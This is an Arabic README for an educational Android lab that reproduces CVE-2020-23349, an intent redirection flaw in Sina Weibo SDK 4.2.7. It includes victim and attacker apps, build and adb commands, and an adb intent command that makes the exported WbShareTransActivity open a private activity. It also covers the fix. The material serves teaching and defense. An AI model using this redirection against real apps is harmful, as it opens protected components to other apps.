
مختبر أندرويد تعليمي لـ CVE-2020-23349 في Sina Weibo SDK 4.2.7
مشروع تعليمي لإعادة إنتاج ثغرة إعادة توجيه النوايا (Intent Redirection) في حزمة تطوير Sina Weibo لنظام Android SDK 4.2.7 محليًا.
استخدمه فقط على أجهزة اختبار أو محاكيات مصرح بها. لا ينبغي استخدامه ضد تطبيقات المستخدمين الحقيقية.
victim: التطبيق الضعيف الذي يتضمن ملف openDefault-4.2.7.aar الفعليattacker: تطبيق الهجوم الذي يستدعي النشاط المُصدَّر WbShareTransActivityvictim/.../PrivateActivity: هدف إعادة الإنتاج مع android:exported="false"مسار الثغرة كالتالي:
تطبيق Attacker
-> WbShareTransActivity المُصدَّر
-> startActivity/gotoActivity من Intent Extra
-> تنفيذ PrivateActivity الخاص بـ victim
يتطلب Android SDK 36 و JDK 17.
./gradlew clean assembleDebug
الملفات الناتجة:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity في تطبيق Attacker.EXPLOIT SUCCESS، فقد نجحت إعادة الإنتاج.يمكنك أيضًا إعادة الإنتاج مباشرة عبر ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
يثق SDK 4.2.7 في السلسلتين startActivity وgotoActivity القادمتين من Intent خارجي ويستخدمهما بالشكل التالي:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
بما أن this هو سياق تطبيق Victim، فإن Android يتعامل مع الأمر على أنه قيام تطبيق Victim بتشغيل نشاطه الخاص PrivateActivity.
في إصدارات Android الحديثة، يجب التصريح بـ android:exported، لذلك يحدد هذا المشروع القيمة true صراحةً في victim/AndroidManifest.xml لإعادة إنتاج الحالة الضمنية للتصدير في حزمة SDK القديمة.
في التمارين التي لا تتطلب ميزة المشاركة، غيّر القيم التالية إلى false وأعد البناء.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
بعد ذلك، سيتم حظر الهجوم نفسه عبر SecurityException. في المنتجات الفعلية، يجب إزالة Weibo SDK 4.x والترقية إلى أحدث إصدار مدعوم.
ملف AAR المضمّن مأخوذ من إصدار 4.2.7 في المستودع الرسمي العام لـ Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar